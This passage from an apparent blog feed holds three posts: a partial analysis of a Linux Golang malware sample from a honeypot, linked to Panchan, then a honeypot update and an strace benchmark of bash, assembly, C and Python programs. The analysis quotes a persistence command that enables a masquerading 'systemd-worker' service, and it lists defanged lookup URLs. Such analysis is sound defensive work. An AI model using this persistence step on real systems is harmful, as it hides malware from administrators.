&lt;pre class="highlight plaintext"&gt;&lt;code&gt;rabin2 -Ir mymalware
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;e cfg.bigendian=false
e asm.bits=64
e asm.dwarf=true
e asm.codealign=1
e bin.lang=c
e file.type=elf
e asm.os=linux
e asm.arch=x86
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;So it's pretty clear that we are taking a look at a linux binary. Why is it interesting? What I usually find in my honeypot are IRC based miners, scripts for initial deployment and some keys, but this is slightly different. &lt;/p&gt;

&lt;p&gt;I took a very quick look at the strings, and realized it used Golang. The file itself is stripped, as I realized when using &lt;code&gt;&amp;gt;afl | head -n20&lt;/code&gt; (just 20 lines so to take a look) even when &lt;a href="https://go-re.tk/redress/" rel="noopener noreferrer"&gt;using a pipe with &lt;code&gt;redress&lt;/code&gt;&lt;/a&gt;. &lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fz3c99y5c5dbc8g1oodx9.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fz3c99y5c5dbc8g1oodx9.png" alt="Image description" width="411" height="223"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;This didn't stop me. I took a quick look around. I used &lt;code&gt;binwalk&lt;/code&gt; and `strings. I proceeded to note down some general clear ideas:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;It uses Golang&lt;/li&gt;
&lt;li&gt;It's an elf for AMD x86-64 architecture&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Anyway I tried to look for executable paths and exfiltration traces or maybe C2, since those are the common things found in bots or maybe stealers. I have a bunch of key-words that help me dive through these sort of things, and I found a suspicious hardcoded IP in &lt;code&gt;/etc/services&lt;/code&gt;:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;&lt;/code&gt;&lt;code&gt;&lt;br&gt;
100.64.0[.]0 &lt;br&gt;
&lt;/code&gt;&lt;code&gt;&lt;/code&gt;&lt;br&gt;
Using a really quick search over VT, it revealed a pulse related with &lt;strong&gt;GoScanSSH family&lt;/strong&gt;, which pretty much fits in this situation.&lt;/p&gt;

&lt;p&gt;I keep searching:&lt;/p&gt;

&lt;p&gt;Realized that it also tries to identify the IP using some legit IP info services online, such as&lt;/p&gt;

&lt;p&gt;&lt;code&gt;&lt;/code&gt;&lt;code&gt;&lt;br&gt;
http://ipgrab[.]io&lt;br&gt;
https://ident[.]me&lt;br&gt;
https://ip.seeip[.]org&lt;br&gt;
http://inet-ip[.]info&lt;br&gt;
&lt;/code&gt;&lt;code&gt;&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;And saves it all into a zip file. I wondered where did it meant to send it and I found a hardcoded &lt;strong&gt;discord&lt;/strong&gt; api location, so that must be it, since discord (as well as Telegram) is currently being used a lot for exfiltration.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F3wlww0pf7hawqa6rb61r.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F3wlww0pf7hawqa6rb61r.png" alt="Image description" width="369" height="68"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Then I found some command lines (for example chmod attempts, but not for example chattr or ulimit, which usually goes together in regular miner families) that grabbed my attention:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;&lt;/code&gt;&lt;code&gt;&lt;br&gt;
service systemd-worker enable || systemctl enable systemd-worker.service&lt;br&gt;
&lt;/code&gt;&lt;code&gt;&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Basically because that "systemd-worker" thing sounded familiar. I remember reading about this before so a quick search and yep! It reminded my of &lt;a href="https://www.bleepingcomputer.com/news/security/new-peer-to-peer-botnet-infects-linux-servers-with-cryptominers/" rel="noopener noreferrer"&gt;Panchan&lt;/a&gt;. &lt;/p&gt;

&lt;p&gt;"(...)Finally, the malware executes the binary and initiates an HTTPS POST operation to a Discord webhook, which is likely used for monitoring the victim.&lt;/p&gt;

&lt;p&gt;To establish persistence, the malware copies itself to `/bin/systemd-worker and creates a new systemd service to launch after reboot while masquerading as a legitimate system service.(..)"&lt;/p&gt;

&lt;p&gt;it adds up. &lt;/p&gt;

&lt;p&gt;This definitely rang a bell and looked for some more info about it and I found some "look and destroy"-like (as I like to call it) function:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;current_preset_xmrig_enabled *bool; current_preset_xmrig_nicehash
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Yeah this totally looked like &lt;strong&gt;Panchan&lt;/strong&gt;. And, according to Bleeping Computer:&lt;/p&gt;

&lt;p&gt;"&lt;em&gt;The malware also features an anti-kill system that detects process termination signals and ignores them unless it's SIGKILL which isn't handled.&lt;/em&gt;"&lt;/p&gt;

&lt;p&gt;I also saw this before going around, so I rechecked:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;SIGKILL: kill
SIGQUIT: quit
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;And... yeah after reading the &lt;a href="https://www.akamai.com/blog/security-research/new-p2p-botnet-panchan" rel="noopener noreferrer"&gt;article that akamai&lt;/a&gt; I saw this:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fucyivj815u4g5ipj8oxt.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fucyivj815u4g5ipj8oxt.png" alt="Image description" width="553" height="50"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F0wcrlbove8s6j8mp0suj.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F0wcrlbove8s6j8mp0suj.jpg" alt="Image description" width="720" height="960"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;If you are wondering: yes, I checked previously with an automated genetic analysis and static analysis vendors, but it wasn't very helpful and didn't point me to the actual threat (mostly because it was corrupted, but that doesn't mean it doesn't have information in it!).&lt;/p&gt;

&lt;p&gt;Anyway this has been fun. I totally have to sharpen my reversing abilities so to make this "the proper way" and not "string | grep" it. &lt;/p&gt;

&lt;p&gt;You can check the IoCs in my &lt;a href="https://otx.alienvault.com/pulse/65819d0507d07796371bc4fb" rel="noopener noreferrer"&gt;AlienVault pulse&lt;/a&gt;!&lt;br&gt;
If you want to read the japanese version, check &lt;a href="https://qiita.com/terceranexus6/items/6ca2f007d75c0659768d" rel="noopener noreferrer"&gt;here&lt;/a&gt;&lt;br&gt;
日本語の記事は&lt;a href="https://qiita.com/terceranexus6/items/6ca2f007d75c0659768d" rel="noopener noreferrer"&gt;ここにです&lt;/a&gt;&lt;/p&gt;

</description>
      <category>security</category>
      <category>malware</category>
      <category>linux</category>
    </item>
    <item>
      <title>The broken spaceship Honeypot updates</title>
      <dc:creator>Paula</dc:creator>
      <pubDate>Fri, 15 Dec 2023 10:39:26 +0000</pubDate>
      <link>https://forem.com/terceranexus6/the-broken-spaceship-honeypot-updates-5gk8</link>
      <guid>https://forem.com/terceranexus6/the-broken-spaceship-honeypot-updates-5gk8</guid>
      <description>&lt;p&gt;As I already mentioned in previous posts, I've been working towards custom cowrie honeypots to gather information related with Linux threats. &lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fijo67cn5frxln42tdyj8.gif" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fijo67cn5frxln42tdyj8.gif" alt="gif of a man collecting honey saying " width="480" height="270"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;I recently updated it, and updated the readme description with the step by step guide in the &lt;a href="https://git.sr.ht/~alienagain/honeypot_notes" rel="noopener noreferrer"&gt;repo&lt;/a&gt; and the &lt;a href="https://alienagain.flounder.online/creating_honeypot.gmi" rel="noopener noreferrer"&gt;gemini&lt;/a&gt; blog, so so include some fixers for common issues I found this year when resetting the whole thing (such as python misconfiguration, docker permissions, files permissions and more) adding and extra drop of information related to &lt;a href="https://github.com/cowrie/cowrie" rel="noopener noreferrer"&gt;cowrie&lt;/a&gt;, which already has a good documentation and a few articles out there. I hope my issues and the way I took care of them serves as a time-saver for other people interested in setting their own thing. &lt;/p&gt;

&lt;p&gt;Friendly reminder I share the IoCs and thoughts related to this project from time to time in &lt;a href="https://brokenspaceship.com/" rel="noopener noreferrer"&gt;The broken spaceship&lt;/a&gt;.&lt;/p&gt;

</description>
      <category>security</category>
      <category>linux</category>
    </item>
    <item>
      <title>CALL me, maybe</title>
      <dc:creator>Paula</dc:creator>
      <pubDate>Mon, 30 Oct 2023 13:15:12 +0000</pubDate>
      <link>https://forem.com/terceranexus6/call-me-maybe-1jg2</link>
      <guid>https://forem.com/terceranexus6/call-me-maybe-1jg2</guid>
      <description>&lt;p&gt;When I was studying computer engineering at university I was a huge assembly nerd, and fueled my love for low level stuff. Years after, I haven't really used assembly, so I forgot almost all about it and I decided to give it a go so to remember a little bit about it, so I decided to re-do (by memory and with the help of the Internet) one of the activities I did back then: benchmarking assembly against another language doing the very same thing. Back then I did a Hello world thing, but since I know better now, I decided to have a bit more fun and I created a comparison script. The script is simple: it ask you to write something, if that something is "hello" it greets you back. &lt;/p&gt;

&lt;p&gt;Let's take a look at such a script in bash, my fav scripting language:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;#!/bin/bash
read -p"Enter command: " ANS
if [ "$ANS" == "hola" ]; then
    echo "hola, que tal"
else
    echo "ERROR"
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Easy peasy. Now let's do the same thing in NASM assembly:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;asm 
section .data
   msg1:      db   'Hola, que tal',10 ; msg1
   lenmsg1:   equ   $-msg1 ; length msg1
   msg2:      db   'ERROR',10 ; msg2
   lenmsg2:   equ   $-msg2 ; length msg2
   str2:      db   'hola' ; str2
   lenstr2:   equ   $-str2 ; length str2
   userMsg db 'Please enter order: ' ;Ask the user to enter a number
   lenUserMsg equ $-userMsg             ;The length of the message
   dispMsg db 'The computer says: '
   lenDispMsg equ $-dispMsg  
section .bss
   reply resb 5
section .text
   global _start
_start:
   mov eax, 4
   mov ebx, 1
   mov ecx, userMsg
   mov edx, lenUserMsg
   int 80h
   ;Read and store the user input
   mov eax, 3
   mov ebx, 2
   mov ecx, reply  
   mov edx, 5          ;5 bytes (numeric, 1 for sign) of that information
   int 80h
   ;Output the message 'The entered number is: '
   mov eax, 4
   mov ebx, 1
   mov ecx, dispMsg
   mov edx, lenDispMsg
   int 80h 
   mov esi,reply
   mov edi,str2
   mov ecx,lenstr2+1
   cld
   repe cmpsb
   jecxz good
   ; If bad
   mov eax,4
   mov ebx,1
   mov ecx,msg2
   mov edx,lenmsg2
   int 80h
   jmp exit
good:
   mov eax,4
   mov ebx,1
   mov ecx,msg1
   mov edx,lenmsg1
   int 80h
exit:
   mov eax,1
   mov ebx,0
   int 80h
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now, let's compile the NASM:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;$ nasm -f elf hellothere.asm
$ ld -m elf_i386 -s -o hellothere hellothere.o 
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Nice! Let's execute both and see how it works:&lt;/p&gt;

&lt;p&gt;BASH:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;./hellothere.sh
Enter command: hola
hola, que tal
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now, assembly:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;./hellothereas
Please enter order: hola
The computer says: hola, que tal
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Looks good to me. Now the fun part! We are using &lt;code&gt;strace&lt;/code&gt; to measure the basics of both scripts, wanna learn more? This &lt;a href="https://unix.stackexchange.com/questions/399614/how-can-i-measure-the-speed-performance-of-a-program" rel="noopener noreferrer"&gt;stack overflow thread&lt;/a&gt; is pretty nice. Now, let's get to it:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;strace -o trace_bash -c -Ttt ./hellothere.sh 
strace: -t/--absolute-timestamps has no effect with -c/--summary-only
strace: -T/--syscall-times has no effect with -c/--summary-only
Enter command: hola
hola, que tal

strace -o trace_assembly -c -Ttt ./hellothereas
strace: -t/--absolute-timestamps has no effect with -c/--summary-only
strace: -T/--syscall-times has no effect with -c/--summary-only
Please enter order: hola
The computer says: Hola, que tal
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The benchmarking is inside the &lt;code&gt;trace_assembly&lt;/code&gt; and &lt;code&gt;trace_bash&lt;/code&gt; files, let's take a look:&lt;/p&gt;

&lt;p&gt;ASSEMBLY:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;% time     seconds  usecs/call     calls    errors syscall
------ ----------- ----------- --------- --------- ----------------
100.00    0.000476         476         1           execve
------ ----------- ----------- --------- --------- ----------------
100.00    0.000476         476         1           total
System call usage summary for 32 bit mode:
% time     seconds  usecs/call     calls    errors syscall
------ ----------- ----------- --------- --------- ----------------
 51.92    0.000027          27         1           read
 48.08    0.000025           8         3           write
------ ----------- ----------- --------- --------- ----------------
100.00    0.000052          13         4           total

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;BASH:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;% time     seconds  usecs/call     calls    errors syscall
------ ----------- ----------- --------- --------- ----------------
  0.00    0.000000           0         6           read
  0.00    0.000000           0         2           write
  0.00    0.000000           0         7           close
  0.00    0.000000           0         3           lseek
  0.00    0.000000           0        14           mmap
  0.00    0.000000           0         4           mprotect
  0.00    0.000000           0         1           munmap
  0.00    0.000000           0         3           brk
  0.00    0.000000           0        14           rt_sigaction
  0.00    0.000000           0         5           rt_sigprocmask
  0.00    0.000000           0         4         2 ioctl
  0.00    0.000000           0         4           pread64
  0.00    0.000000           0         1         1 access
  0.00    0.000000           0         1           dup2
  0.00    0.000000           0         3           getpid
  0.00    0.000000           0         1           execve
  0.00    0.000000           0         1           uname
  0.00    0.000000           0         3         1 fcntl
  0.00    0.000000           0         1           sysinfo
  0.00    0.000000           0         1           getuid
  0.00    0.000000           0         1           getgid
  0.00    0.000000           0         1           geteuid
  0.00    0.000000           0         1           getegid
  0.00    0.000000           0         3           getppid
  0.00    0.000000           0         1           getpgrp
  0.00    0.000000           0         2         1 arch_prctl
  0.00    0.000000           0         1           futex
  0.00    0.000000           0         1           set_tid_address
  0.00    0.000000           0         7           openat
  0.00    0.000000           0        18           newfstatat
  0.00    0.000000           0         1           set_robust_list
  0.00    0.000000           0         3           prlimit64
  0.00    0.000000           0         1           getrandom
  0.00    0.000000           0         1           rseq
------ ----------- ----------- --------- --------- ----------------
100.00    0.000000           0       121         5 total

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;I know what are you thinking. "You didn't compile the bash!" &lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fk9vm21keqsnqhhgabo8g.gif" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fk9vm21keqsnqhhgabo8g.gif" alt="character from seinfield saying I like the way you think" width="480" height="378"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Okay then let's try that, shall we:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;shc -f hellothere.sh
mv hellothere.sh.x hellothere_bash
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;And bechmarking!&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;strace -o trace_bash_ex -c -Ttt ./hellothere_bash
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Let's take a look!&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;% time     seconds  usecs/call     calls    errors syscall
------ ----------- ----------- --------- --------- ----------------
 37.69    0.000652         163         4           execve
 15.84    0.000274           6        44           mmap
  7.86    0.000136           3        35           newfstatat
  5.49    0.000095           5        16           openat
  4.34    0.000075           2        31           rt_sigaction
  3.87    0.000067           4        14           mprotect
  3.12    0.000054           7         7           read
  2.83    0.000049           3        16           close
  2.49    0.000043          10         4           munmap
  1.85    0.000032           2        16           pread64
  1.79    0.000031           3        10           rt_sigprocmask
  1.73    0.000030          15         2           write
  1.62    0.000028           2        12           brk
  0.98    0.000017           2         8           getpid
  0.92    0.000016           2         6           getppid
  0.81    0.000014           2         5         2 ioctl
  0.81    0.000014           3         4         4 access
  0.75    0.000013           1         8         4 arch_prctl
  0.58    0.000010           5         2           sysinfo
  0.58    0.000010           1         6           prlimit64
  0.52    0.000009           2         4           getrandom
  0.46    0.000008           2         4           rseq
  0.40    0.000007           3         2           futex
  0.40    0.000007           1         4           set_tid_address
  0.40    0.000007           1         4           set_robust_list
  0.29    0.000005           2         2         2 getpeername
  0.29    0.000005           2         2           uname
  0.29    0.000005           2         2           getuid
  0.29    0.000005           2         2           getpgrp
  0.23    0.000004           2         2           getgid
  0.23    0.000004           2         2           geteuid
  0.23    0.000004           2         2           getegid
------ ----------- ----------- --------- --------- ----------------
100.00    0.001730           6       282        12 total

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Wow! You know what? you can actually compile stuff using something called "Optimization" which is pretty much assembly magic, or the non-lazy way, which takes a little bit more compiling processing but the result is optimized. Did you know?&lt;/p&gt;

&lt;p&gt;Let me show you using a C version of this command:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;#include&amp;lt;stdio.h&amp;gt;
#include&amp;lt;string.h&amp;gt;

char *mygets(char *buf, size_t size) {
    if (buf != NULL &amp;amp;&amp;amp; size &amp;gt; 0) {
        if (fgets(buf, size, stdin)) {
            buf[strcspn(buf, "\n")] = '\0';
            return buf;
        }
        *buf = '\0';  /* clear buffer at end of file */
    }
    return NULL;
}

int string_compare(char str1[], char str2[])
{
    int ctr=0;

    while(str1[ctr]==str2[ctr])
    {
        if(str1[ctr]=='\0'||str2[ctr]=='\0')
            break;
        ctr++;
    }
    if(str1[ctr]=='\0' &amp;amp;&amp;amp; str2[ctr]=='\0')
        return 0;
    else
        return -1;
}


int main()
{
    char a[100];
    char b[] = "hola";
    printf("Enter command\n");    
    mygets(a, sizeof a);    

    if( string_compare(a,b) == 0 )
        printf("hola que tal\n");
    else
        printf("ERROR.\n");
        return 0;
}

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Before going forward, some clarifications:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;I used a "mygets" function so to substitute "gets" function, the reason is &lt;a href="https://stackoverflow.com/questions/34031514/implicit-declaration-of-gets" rel="noopener noreferrer"&gt;over here&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;I used a function for comparing instead of strcmp (inspired by &lt;a href="https://stackoverflow.com/questions/14232990/comparing-two-strings-in-c" rel="noopener noreferrer"&gt;this one&lt;/a&gt;) so to be in control and make it as low level as possible.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Let's compile it!&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;gcc -o hello_in_c hello.c
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now benchmarking:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;trace -o trace_forc -c -Ttt ./hello_in_c
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;And this is the result with default optimization:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;% time     seconds  usecs/call     calls    errors syscall
------ ----------- ----------- --------- --------- ----------------
  0.00    0.000000           0         2           read
  0.00    0.000000           0         2           write
  0.00    0.000000           0         2           close
  0.00    0.000000           0         8           mmap
  0.00    0.000000           0         3           mprotect
  0.00    0.000000           0         1           munmap
  0.00    0.000000           0         3           brk
  0.00    0.000000           0         4           pread64
  0.00    0.000000           0         1         1 access
  0.00    0.000000           0         1           execve
  0.00    0.000000           0         2         1 arch_prctl
  0.00    0.000000           0         1           set_tid_address
  0.00    0.000000           0         2           openat
  0.00    0.000000           0         4           newfstatat
  0.00    0.000000           0         1           set_robust_list
  0.00    0.000000           0         1           prlimit64
  0.00    0.000000           0         1           getrandom
  0.00    0.000000           0         1           rseq
------ ----------- ----------- --------- --------- ----------------
100.00    0.000000           0        40         2 total

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fyu3ob0mm22sqeer6idk0.gif" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fyu3ob0mm22sqeer6idk0.gif" alt="man saying nice meme" width="450" height="360"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Optimizations &lt;code&gt;-O2&lt;/code&gt;,&lt;code&gt;-O3&lt;/code&gt;and &lt;code&gt;-Ofast&lt;/code&gt; give me the same strace results.&lt;/p&gt;

&lt;p&gt;Let's check maybe in python? this is the last language I promise!&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;import re

def compare_strings(string1, string2):
    pattern = re.compile(string2)
    match = re.search(pattern, string1)

    if match:
        print(f"hola, que tal")
    else:
        print(f"ERROR")

string1 = "hola"
string2 = input("Enter command:")


compare_strings(string1, string2) 
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;First let's &lt;code&gt;strace&lt;/code&gt; the script itself:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;$ strace -o trace_python1 -c -Ttt python3 hello.py
$ strings trace_python1

% time     seconds  usecs/call     calls    errors syscall
------ ----------- ----------- --------- --------- ----------------
 31.95    0.001331           4       328        58 newfstatat
 22.28    0.000928          42        22           getdents64
 10.95    0.000456           4        97           read
 10.35    0.000431           6        66         3 openat
  5.74    0.000239           3        66           close
  5.52    0.000230           2        91         3 lseek
  4.30    0.000179           2        63        52 ioctl
  3.84    0.000160           2        66           rt_sigaction
  3.02    0.000126          10        12           brk
  0.96    0.000040           1        28           mmap
  0.41    0.000017           4         4         3 readlink
  0.17    0.000007           2         3           dup
  0.17    0.000007           7         1           sysinfo
  0.10    0.000004           2         2           getcwd
  0.07    0.000003           3         1           getuid
  0.05    0.000002           2         1           fcntl
  0.05    0.000002           2         1           getgid
  0.05    0.000002           2         1           geteuid
  0.05    0.000002           2         1           getegid
  0.00    0.000000           0         2           write
  0.00    0.000000           0         8           mprotect
  0.00    0.000000           0         2           munmap
  0.00    0.000000           0         4           pread64
  0.00    0.000000           0         1         1 access
  0.00    0.000000           0         1           execve
  0.00    0.000000           0         2         1 arch_prctl
  0.00    0.000000           0         1           futex
  0.00    0.000000           0         1           set_tid_address
  0.00    0.000000           0         1           set_robust_list
  0.00    0.000000           0         1           prlimit64
  0.00    0.000000           0         2           getrandom
  0.00    0.000000           0         1           rseq
------ ----------- ----------- --------- --------- ----------------
100.00    0.004166           4       881       121 total

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fg2fpkvdhxo0frebdwlbp.gif" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fg2fpkvdhxo0frebdwlbp.gif" alt="woman saying wow  okay" width="480" height="270"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Now let's compile it! For python, the most popular compiling tool is pyinstaller&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;$ pyinstaller hello.py
$ cd /dist/hello
$ strace -o trace_python2 -c -Ttt ./hello
$ ls trace_python2

% time     seconds  usecs/call     calls    errors syscall
------ ----------- ----------- --------- --------- ----------------
 29.59    0.000377           1       209           read
 22.61    0.000288           2       122        15 openat
 12.24    0.000156           0       176         3 lseek
 10.83    0.000138           0       162        15 newfstatat
  8.79    0.000112           1       110           close
  8.16    0.000104           4        21           brk
  6.59    0.000084           0        86        76 ioctl
  0.71    0.000009           0        69           mmap
  0.47    0.000006           1         4           getcwd
  0.00    0.000000           0         2           write
  0.00    0.000000           0         2           lstat
  0.00    0.000000           0        20           mprotect
  0.00    0.000000           0         6           munmap
  0.00    0.000000           0        66           rt_sigaction
  0.00    0.000000           0         8           pread64
  0.00    0.000000           0         2         2 access
  0.00    0.000000           0         3           dup
  0.00    0.000000           0         2           execve
  0.00    0.000000           0         1           fcntl
  0.00    0.000000           0         3         1 readlink
  0.00    0.000000           0         1           sysinfo
  0.00    0.000000           0         4         2 arch_prctl
  0.00    0.000000           0         1           futex
  0.00    0.000000           0         4           getdents64
  0.00    0.000000           0         2           set_tid_address
  0.00    0.000000           0         2           set_robust_list
  0.00    0.000000           0         2           prlimit64
  0.00    0.000000           0         3           getrandom
  0.00    0.000000           0         2           rseq
------ ----------- ----------- --------- --------- ----------------
100.00    0.001274           1      1095       114 total

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



